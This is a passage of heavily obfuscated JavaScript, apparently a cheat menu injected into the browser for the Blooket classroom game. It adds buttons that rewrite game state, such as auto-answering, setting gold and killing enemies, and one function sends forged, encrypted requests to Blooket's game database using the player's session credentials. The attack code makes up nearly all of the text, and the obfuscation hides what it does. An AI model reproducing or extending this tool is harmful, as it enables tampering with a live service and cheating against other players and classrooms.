kP=gbasilDotDev_D;'YSLn'+'b'===kP(0x377)+'H'?(b['memo'+kP(0x20f)+'Stat'+'e'][kP(0x175)+'e']=!(0x235d*-0x1+0xa33*0x1+0x192b),iC[kP(0x192)+kP(0x20f)+kP(0x133)+'e'][kP(0x2a6)]=!(0x44*-0x7+-0x7*0x58f+-0x2*-0x1463),iq[kP(0x192)+kP(0x20f)+kP(0x133)+'e']['lol']=!(0x16dc+-0xbe9*0x1+-0xaf2),t['memo'+kP(0x20f)+kP(0x133)+'e'][kP(0x2bc)]=!(0x21d5+-0x326+0x15*-0x176)):im[kP(0x2a5)+kP(0x26d)+'e']['enem'+kP(0x23f)]=[];}function it(im){const kU=gbasilDotDev_D;if(kU(0x16b)+'O'!==kU(0x16b)+'O'){iq[kU(0x192)+kU(0x20f)+kU(0x133)+'e'][kU(0x14e)+'e']!=kU(0x382)+'e'&&t(Z['rand'+'om']()<0x1*-0xe17+-0x21c7+-0x2fde*-0x1+0.01?kU(0x134)+kU(0x204)+kU(0x379)+kU(0x24c)+kU(0x2ff)+'omet'+kU(0x274)+'\x20to\x20'+kU(0x29f)+kU(0x2df):'Wait'+kU(0x35f)+'for\x20'+kU(0x311)+kU(0x1a2)+'.');for(let iV=-0xc48+-0x2*0x386+0x1354;iV<-0xf9*0x21+-0x169e+-0x579*-0xa;iV++){let ic=i8[kU(0x21f)+'ySel'+kU(0x1d9)+'r'](kU(0x29b)+kU(0x1ba)+kU(0x395)+kU(0x23e)+kU(0x27d)+kU(0x329)+'e'+(iV+(0x2*0xe13+0x1*0x401+0x1*-0x2026))+']'),ig=it[kU(0x280)+kU(0x209)+kU(0x397)+'t']('p');ig['styl'+'e'][kU(0x1f5)+'Weig'+'ht']='bold',ig[kU(0x2a9)+'e'][kU(0x376)+kU(0x38e)+'n']=kU(0x29c)+'er',ig['styl'+'e'][kU(0x31e)+'ht']=kU(0x364),ig[kU(0x2a9)+'e'][kU(0x18c)+kU(0x32a)+'m']=kU(0x18c)+kU(0x2bb)+kU(0x262)+'00%)',ig[kU(0x2a9)+'e'][kU(0x283)+kU(0x2f3)+'vent'+'s']='none',ig['styl'+'e'][kU(0x1f5)+'Size']=kU(0x230)+'em',ig['inne'+'rTex'+'t']=m[kU(0x192)+kU(0x20f)+'Stat'+'e']['choi'+kU(0x2fb)][iV][kU(0x376)],ic&&ic[kU(0x2f4)+'nd'](ig);}}else{let iV=prompt(kU(0x2c3)+kU(0x2b9)+kU(0x39a));if(!m(iV))return alert('Inva'+kU(0x27a)+kU(0x25c)+'t');im[kU(0x192)+kU(0x20f)+kU(0x133)+'e']['roun'+'d']=parseInt(iV);}}function iC(im){const ko=gbasilDotDev_D;if(ko(0x221)+'A'!==ko(0x221)+'A'){const iV=r?function(){const ka=ko;if(iV){const ic=q[ka(0x168)+'y'](m,arguments);return Q=null,ic;}}:function(){};return n=![],iV;}else im[ko(0x192)+'ized'+ko(0x133)+'e'][ko(0x14a)+'s']=[];}function iO(im){const kI=gbasilDotDev_D;kI(0x359)+'P'!==kI(0x180)+'V'?im[kI(0x192)+'ized'+kI(0x133)+'e'][kI(0x13c)+'y'][kI(0x21d)]=0x148c+0x1f5b*-0x1+0x1*0xacf:iF[kI(0x192)+kI(0x20f)+kI(0x133)+'e']['duck'+'s']=[];}function iw(im){const kN=gbasilDotDev_D;kN(0x32f)+'F'!==kN(0x32f)+'F'?iF(kN(0x251)+kN(0x1c4)+kN(0x2cf)+kN(0x1e8)+kN(0x2c8)+kN(0x142)+kN(0x387)+kN(0x2b1)):im[kN(0x192)+kN(0x20f)+kN(0x133)+'e'][kN(0x177)+'fe']=-0x95a+-0x360*0xa+-0x24a*-0x13;}function ix(im){const kl=gbasilDotDev_D;if(kl(0x2bf)+'k'===kl(0x24d)+'D')return!(!b||iC(iq(t)));else{if(document[kl(0x1ad)+kl(0x16c)]['path'+kl(0x33d)][kl(0x213)+'t']('/')[0x2*-0x1007+0x1744+-0x8cc*-0x1]!='batt'+'le')return alert(kl(0x1bc)+kl(0x31c)+kl(0x22c)+kl(0x147)+'tle\x20'+kl(0x268)+'et\x20c'+kl(0x298)+'!');let iV=prompt(kl(0x333)+kl(0x172)+kl(0x24e));if(!m(iV))return alert('Inva'+kl(0x27a)+kl(0x25c)+'t');im[kl(0x192)+kl(0x20f)+kl(0x1d4)+'s'][kl(0x1b8)+'ower'+kl(0x333)+'s'](iV);}}var ih=async(im,iQ)=>{const kT=gbasilDotDev_D;let iV=await i3();fetch('http'+'s://'+'fb.b'+kT(0x220)+kT(0x32b)+kT(0x215)+'/fir'+kT(0x31b)+kT(0x2a2)+'mes/'+im['memo'+'ized'+'Prop'+'s']['clie'+'nt'][kT(0x245)+'Id']+'/v',{'credentials':kT(0x187)+kT(0x324),'method':kT(0x19d),'headers':{'content-type':kT(0x376)+kT(0x1da)+'in','X-Blooket-Build':iV[kT(0x238)+kT(0x26b)+kT(0x25f)]},'body':await i4(iQ,iV['secr'+'et'])}),console[kT(0x36c)](im[kT(0x17e)+kT(0x1a1)+kT(0x383)][kT(0x341)+'nt'][kT(0x245)+'Id']);},iX=async im=>{const kz=gbasilDotDev_D;let iQ=prompt(kz(0x327)+kz(0x2eb)+kz(0x1f4)+'nt');if(!m(iQ))return alert(kz(0x35b)+kz(0x27a)+kz(0x25c)+'t');ih(im,{'path':'c/'+im[kz(0x192)+kz(0x20f)+kz(0x1d4)+'s'][kz(0x341)+'nt']['name']+'/d','value':parseInt(iQ)});};function iG(im){const kZ=gbasilDotDev_D;let iQ=document['crea'+'teEl'+kZ(0x397)+'t'](kZ(0x2a7)),iV=document[kZ(0x280)+kZ(0x209)+kZ(0x397)+'t']('a');switch(iQ[kZ(0x2f4)+'nd'](iV),iQ[kZ(0x2a9)+'e']['widt'+'h']=kZ(0x2e2)+'x',iQ['styl'+'e'][kZ(0x31e)+'ht']='450p'+'x',iQ['styl'+'e']['back'+kZ(0x2fd)+'nd']=im['bg'],iQ[kZ(0x2a9)+'e'][kZ(0x335)+kZ(0x16c)]=kZ(0x392)+'d',localStorage[kZ(0x13e)+kZ(0x250)](kZ(0x296)+'e')?(iQ[kZ(0x2a9)+'e'][kZ(0x281)+'om']=kZ(0x2a8),iQ[kZ(0x2a9)+'e'][kZ(0x299)+'t']=kZ(0x2a8)):(iQ[kZ(0x2a9)+'e'][kZ(0x363)]='20px',iQ[kZ(0x2a9)+'e'][kZ(0x225)]=kZ(0x2a8)),iQ[kZ(0x2a9)+'e'][kZ(0x357)+kZ(0x312)+kZ(0x181)]=kZ(0x3a1),iQ['styl'+'e'][kZ(0x323)+kZ(0x153)+'w']='0px\x20'+kZ(0x2ea)+kZ(0x2a8)+'\x207px'+kZ(0x398)+kZ(0x35e)+'26',iQ[kZ(0x2a9)+'e'][kZ(0x256)+kZ(0x36f)+'Y']=kZ(0x1de),iQ[kZ(0x2a9)+'e']['over'+'flow'+'X']=kZ(0x34c),iQ[kZ(0x2a9)+'e'][kZ(0x3a8)+kZ(0x366)]=kZ(0x217)+'k',iV[kZ(0x2a9)+'e']['widt'+'h']=kZ(0x364),iV[kZ(0x2a9)+'e'][kZ(0x252)+kZ(0x2fd)+'nd']=im[kZ(0x2a0)+'nt'],iV['styl'+'e'][kZ(0x3a8)+kZ(0x366)]=kZ(0x217)+'k',iV[kZ(0x2a9)+'e'][kZ(0x1e9)+'r']=im['bg'],iV['styl'+'e'][kZ(0x376)+kZ(0x295)+kZ(0x157)+'on']=kZ(0x375),iV[kZ(0x2a9)+'e'][kZ(0x376)+'Alig'+'n']='cent'+'er',iV[kZ(0x2a9)+'e'][kZ(0x1f5)+kZ(0x365)]=kZ(0x14d),iV[kZ(0x2a9)+'e'][kZ(0x16d)+kZ(0x1b0)]=kZ(0x2fe),iV[kZ(0x170)+kZ(0x155)+'t']=kZ(0x1f2)+kZ(0x137)+kZ(0x2d2)+kZ(0x220)+'et',iq(iQ,im,'Auto'+'\x20Ans'+'wer',i),iq(iQ,im,'Dail'+kZ(0x223)+'kens'+kZ(0x346)+'P',i6),iq(iQ,im,kZ(0x1cd)+kZ(0x35d)+kZ(0x2fc)+'te\x20B'+kZ(0x220)+'s',i5),document[kZ(0x1ad)+kZ(0x16c)][kZ(0x26c)+kZ(0x33d)][kZ(0x213)+'t']('/')[0xba8+0x21a5*-0x1+0x15ff*0x1]){case kZ(0x1bd):iq(iQ,im,kZ(0x2d5)+kZ(0x22b)+'to',d),iq(iQ,im,kZ(0x19b)+kZ(0x194)+kZ(0x27b),Z),iq(iQ,im,kZ(0x1a9)+kZ(0x254)+kZ(0x20d)+'ord',o),iq(iQ,im,kZ(0x1db)+'\x20Hac'+'k',a),iq(iQ,im,'Remo'+kZ(0x300)+kZ(0x285)+'fs',l);break;case'gold':iq(iQ,im,kZ(0x2d5)+'Gold',i7),iq(iQ,im,kZ(0x24f)+kZ(0x2d3)+'P',i8),iq(iQ,im,kZ(0x2d5)+kZ(0x2e4)+'er\x20B'+kZ(0x27e)+kZ(0x2fb),i9);break;case kZ(0x188)+'ory':iq(iQ,im,kZ(0x2d5)+kZ(0x305),Q),iq(iQ,im,'Stop'+'\x20Gli'+kZ(0x1be)+'s',e),iq(iQ,im,kZ(0x2b5)+kZ(0x30f)+kZ(0x292)+kZ(0x234),i0),iq(iQ,im,kZ(0x330)+kZ(0x34e)+'d',b),iq(iQ,im,kZ(0x330)+kZ(0x1fc)+'l',i1);break;case kZ(0x1d8)+'ng':iq(iQ,im,kZ(0x186)+kZ(0x14c)+kZ(0x162),iD);break;case'fish'+kZ(0x1b0):iq(iQ,im,kZ(0x2d5)+kZ(0x1af)+'ht',i2);break;case kZ(0x237):iq(iQ,im,kZ(0x2d5)+kZ(0x327)+'nse',iX);case kZ(0x206)+'y':iq(iQ,im,kZ(0x16e)+kZ(0x282)+kZ(0x132)+'look'+'s',iF);break;default:let ig=document[kZ(0x1ad)+kZ(0x16c)]['path'+kZ(0x33d)][kZ(0x213)+'t']('/')[-0x1df*-0x6+0xa42+-0x157b];ig==kZ(0x31a)+kZ(0x1f3)?(iq(iQ,im,kZ(0x2d5)+kZ(0x1fa)+'ns',iB),iq(iQ,im,kZ(0x307)+kZ(0x2e5)+kZ(0x318),iJ),iq(iQ,im,kZ(0x36b)+kZ(0x2cb)+kZ(0x235)+'s',ir),iq(iQ,im,'Set\x20'+kZ(0x2c3)+'d',it),iq(iQ,im,kZ(0x36b)+'r\x20Du'+kZ(0x2e7),iC)):ig=='king'+kZ(0x1fe)?(iq(iQ,im,kZ(0x2d5)+'Gues'+'ts',ii),iq(iQ,im,kZ(0x330)+kZ(0x133)+'s',ik)):ig==kZ(0x23c)?(iq(iQ,im,'Set\x20'+kZ(0x305),Q),iq(iQ,im,kZ(0x30d)+kZ(0x1d5)+'od',V),iq(iQ,im,kZ(0x290)+'w\x20Ab'+'ilit'+'ies',c)):ig==kZ(0x1c9)+'r'?(iq(iQ,im,'Kill'+kZ(0x1c3)+'my',iO),iq(iQ,im,kZ(0x336),iw),iq(iQ,im,'Set\x20'+kZ(0x333)+'s',ix)):alert('Coul'+kZ(0x1fb)+kZ(0x25d)+kZ(0x1c1)+kZ(0x297)+kZ(0x247));}document[kZ(0x15e)][kZ(0x2f4)+'nd'](iQ);function ic(iR){const kj=kZ;iR[kj(0x226)]=='w'&&(iQ['styl'+'e']['disp'+kj(0x366)]=iQ['styl'+'e'][kj(0x3a8)+kj(0x366)]=='none'?kj(0x217)+'k':kj(0x375)),iR[kj(0x226)]=='q'&&i(n());}document['addE'+kZ(0x218)+kZ(0x28c)+kZ(0x37b)]('keyp'+kZ(0x33a),ic,!(-0x161c+0x397*0x9+-0x7*0x175)),iV[kZ(0x231)+kZ(0x218)+kZ(0x28c)+kZ(0x37b)](kZ(0x219)+'uchs'+kZ(0x1c5)in window?kZ(0x331)+kZ(0x37a)+'rt':kZ(0x1ae)+'k',()=>{const kY=kZ;iQ[kY(0x3a2)+'ve'](),document[kY(0x3a2)+kY(0x2b3)+'entL'+'iste'+kY(0x195)](kY(0x152)+kY(0x33a),ic,!(-0x1f4d+0xac5+0x1488));});}function iq(im,iQ,iV,ic){const ky=gbasilDotDev_D;let ig=document[ky(0x280)+ky(0x209)+ky(0x397)+'t']('a');ig[ky(0x2a9)+'e'][ky(0x39e)+'h']=ky(0x364),ig['styl'+'e'][ky(0x3a8)+ky(0x366)]=ky(0x217)+'k',ig[ky(0x2a9)+'e'][ky(0x1e9)+'r']=iQ['text'],ig['styl'+'e'][ky(0x16d)+'ing']=ky(0x2fe),ig[ky(0x2a9)+'e'][ky(0x36e)+'or']=ky(0x283)+ky(0x3a7),ig[ky(0x2a9)+'e'][ky(0x357)+ky(0x248)+ky(0x151)]=ky(0x396)+ky(0x2d1)+'d\x20'+iQ[ky(0x21b)+'lt'],ig[ky(0x2a9)+'e'][ky(0x376)+ky(0x295)+ky(0x157)+'on']=ky(0x375),ig[ky(0x2a9)+'e'][ky(0x1f5)+'Size']=ky(0x14d),ig[ky(0x170)+'rTex'+'t']=iV,im[ky(0x2f4)+'nd'](ig),ig[ky(0x231)+ky(0x218)+'List'+ky(0x37b)](ky(0x219)+ky(0x1a0)+ky(0x1c5)in window?ky(0x331)+ky(0x37a)+'rt':'clic'+'k',()=>{const kf=ky;let iR=n();try{ic(iR),t(iR);}catch{alert(kf(0x251)+kf(0x1c4)+'\x20ocu'+'rred'+'!');}});}document[kK(0x1ad)+'tion']['host'+kK(0x33d)]!=kK(0x389)+kK(0x238)+kK(0x261)+kK(0x20c)?alert(kK(0x16a)+kK(0x1d1)+kK(0x253)+kK(0x2c5)+'e!'):(alert(kK(0x27c)+kK(0x21c)+kK(0x3a3)+'sil,'+kK(0x277)+kK(0x1ed)+kK(0x31c)+kK(0x14f)+kK(0x352)+'\x20gba'+kK(0x232)+'dev/'+kK(0x238)+kK(0x1fd)+kK(0x18d)+'s\x20th'+kK(0x321)+kK(0x316)+kK(0x2c9)+kK(0x315)+kK(0x1bb)+kK(0x371)+kK(0x1f2)+kK(0x137)+kK(0x149)+kK(0x2db)+'lose'+kK(0x293)+'\x20men'+kK(0x178)+kK(0x1cf)+kK(0x351)+'Q\x20-\x20'+kK(0x1db)+kK(0x317)+'wer\x0a'+kK(0x2d4)+kK(0x2c6)+kK(0x3a4)+kK(0x275)+'visi'+'bili'+'ty'),iG(theme()));})());})();/**********************************************************************************************************************************************************************************************************/})()